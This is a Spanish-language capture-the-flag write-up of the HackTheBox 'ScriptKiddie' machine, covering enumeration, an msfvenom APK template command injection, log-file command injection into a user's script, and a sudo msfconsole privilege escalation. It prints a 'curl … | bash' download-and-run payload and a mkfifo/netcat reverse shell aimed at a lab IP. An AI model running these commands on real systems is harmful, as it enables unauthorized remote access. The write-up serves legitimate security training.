ScriptKiddie - HackTheBox
Máquina Linux bastante sencilla, tendremos que ganar acceso a través de un exploit que genera una apk maliciosa que podremos introducir y ejecutar en el servidor web, tendremos que realizar una escalada lateral aprovechándonos de un fallo en un srcipt a través del cual podremos inyectar comandos y finalizaremos con una escalada vertical al usuario root a través de la utilidad msfconsole.
Reconocimiento
Reconocimiento de Puertos🔍
Como siempre comenzamos lanzando nmap para encontrar los puertos abiertos en la máquina.
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Realizo un escaneo más avanzado para obtener más información acerca de los servicios que corren en los puertos abiertos.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto | Servicio | Versión |
5000 | http | Werkzeug httpd 0.16.1 |
22 | ssh | OpenSSH 8.2p1 |
Servidor web en el puerto 5000 (Werkzeug httpd 0.16.1)
Enumeración Web 🔢
Al acceder al servidor web encontramos lo siguiente:
Parece que tenemos las herramientas nmap, msfvenom y searchsploit.
Voy probando a cada herramienta, el nmap funciona si pongo una ip, es decir me escanea los puertos...
En la herramienta msfvenom me genera un archivo malicioso y me lo descarga…
Pero me deja subir un template, algo bastante curioso.
En la herramienta searchsploit más de lo mismo, funciona correctamente pero no veo nada que pueda hacer para avanzar.
Así que voy a aprovechar que tenemos searchsploit para buscar vulnerabilidades del servidor web, que sabemos que es Werkzeug httpd 0.16.1.
Con searchsploit busco alguna vulnerabilidad pero nada.
Así que solo se me ocurre buscar alguna vulnerabilidad de las herramientas que tenemos en el servidor, descartando searchsploit pruebo con msfvenom.
Y ojo porque tenemos una vulnerabilidad.
Metasploit Framework 6.0.11 - msfvenom APK template command injection
Explotación
Metasploit👿
Me descargo el exploit y lo abro para analizar el código
Si nos fijamos en la línea de la carga util (payload) nos dice 'Change me' de forma que podemos insertar el comando que queramos, ya que la vulnerabilidad es Command Injection.
Procedo a crear un archivo con una reverse shell en bash.
Una vez creado lanzo un servidor de python
python3 -m http.server 8080
Edito el campo payload del exploit añadiendo lo siguiente
curl
http://10.10.14.7:8080/rev.sh
| bash
A continuación lanzamos el exploit para que nos genere un archivo malicioso apk con el payload indicado.
Una vez generado debemos subir el archivo apk a la web desde el apartado template y se hará la magia.
Una vez dentro actualizamos la tty para tener una shell completa en tamaño y funciones.
# Actualización TTY
kid@scriptkiddie:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
---------------------------------------------------
kid@scriptkiddie:~/html$ ^Z
zsh: suspended sudo nc -lnvp 443
---------------------------------------------------
❯ stty raw -echo; fg
[1] + continued sudo nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? xterm
---------------------------------------------------
# Exportamos las Variables de Entorno
kid@scriptkiddie:~/html$ export TERM=xterm
kid@scriptkiddie:~/html$ export SHELL=bash
Ahora ya podemos leer la flag user.
Continuo enumerando ya que estoy autenticado como el usuario kid pero también tenemos al usuario pwn.
Por lo tanto debemos migranos a este usuario.
Escalada de Privilegios
Usuario pwn😎
Enumerando un poco encuentro en la carpeta del usuario pwn un script llamado scanlosers.sh
Si miramos el contenido del script…
Para poder entender que hace el script debemos irnos antes al archivo app.py
#En ese fragmento del archivo `app.py` podemos ver que se guarda un TimeStamp y una dirección IP.
-------------------------------------------------------------------------------------------------
[{datetime.datetime.now()}] {scrip}
Por lo tanto el script del usuario pwn (`scanlosers.sh`) lo que hace es leer el archivo /home/kid/logs/hackers
y lo guarda en la variable $log
pero rápidamente borra el contenido, ya que en el script scanlosers.sh
la última línea es echo -n > $log
De forma que leyendo un poco el script sabemos que la data se almacena en el archivo de la siguiente forma:
[FECHA Y HORA] IP
El script saca el contenido del archivo cogiendo la IP y realizando un escaneo nmap de los 10 top ports.
Para probar y entenderlo genero un simple ejemplo creando mi propio archivo hackers.
# Archivo Hackers
Hola esto es una Prueba
````
En el script se ejecuta un `cut -d' ' -f3-` | sort -u
Asique voy a ir desglosando el comando para lograr entenderlo, probando con mi archivo hackers.
Cut lo que hace es cortar el archivo en partes.
| Parámetro | Descripción|
| :-------- | :------- |
| -d ' ' | Delimitador que en este caso es el espacio ' '|
| -f3 | Selecciona solamente el campo asigando, en este caso 3|
De forma que si lo probamos...
```bash
> cat hackers | cut -d' ' -f3
es
#Nos está sacando el campo número 3 de la frase: Hola esto ES una prueba
Pero en el script tenemos cut -d' ' -f3-
es decir hay un guión detrás del 3.
Si probamos con nuestro ejemplo...
> cat hackers | cut -d' ' -f3-
es una prueba
# Al añadir el guión detras del campo 3 nos saca del campo 3 en adelante
Por lo tanto ahí podríamos aprovechar e intentar inyectar comandos de la siguiente forma.
Tengamos en cuenta que además de eso el archivo hackers cuando le metemos data rápidamente se elimina por el echo -n > $log
Así que voy a crear un pequeño script en bash para que cada vez que lo ejecute se meta la data que yo tengo en mi script en el archivo hackers.
# Script para la Inyección de Comandos, intentaremos obtener una rev shell
--------------------------------------------------------------------------
#!/bin/bash
while true; do
echo "1 2 ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f #" > /home/kid/logs/hackers
done
El script cogerá del 3 en adelante.
Abrimos un oyente de netcat en elpuerto 4444, asignmos permisos y lo ejecutamos.
Y tenemos conexión en el oyente netcat como el usuario
Y ya nos hemos convertido en el usuario pwn.
Para tener la shell un poco más funcional lanzo el comando:
python3 -c ´import pty;pty.spawn("/bin/bash")´
A continuación toca escalar privilegios al usuario root.
Usuario root😎
Para proceder a escalar privilegios, como siempre enumeramos posibles vectores de escalada.
Como de costumbre comienzo lanzando sudo -l
Al lanzar sudo -l
puedo ver que puedo ejecutar como root sin contraseña msfconsole.
Ejecuto la utilidad msfconsole como root.
Somos root y podemos leer la flag root.
Subscribe to my newsletter
Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
elc4br4
elc4br4
Cybersecurity Student